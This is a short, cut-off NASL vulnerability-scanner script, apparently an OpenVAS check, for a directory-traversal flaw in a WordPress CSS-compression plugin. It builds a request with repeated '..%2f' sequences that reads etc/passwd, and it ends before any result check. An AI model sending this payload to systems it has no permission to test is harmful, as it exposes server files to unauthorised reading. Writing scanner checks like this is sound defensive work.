##
## The script code starts here
##

include("http_func.inc");
include("version_func.inc");
include("http_keepalive.inc");
include("host_details.inc");


## Get HTTP Port
if(!port = get_app_port(cpe:CPE, nvt:SCRIPT_OID))exit(0);

## Check Host Supports PHP
if(!can_host_php(port:port)){
  exit(0);
}

## Get WordPress Installed Location
if(!dir = get_app_location(cpe:CPE, nvt:SCRIPT_OID, port:port))exit(0);

## Construct attack
url = string(dir, "/wp-content/plugins/wp-css/wp-css-compress.php?f=",
             crap(data:"..%2f",length:3*15), "etc/passwd");

## Confirm exploit worked properly or not
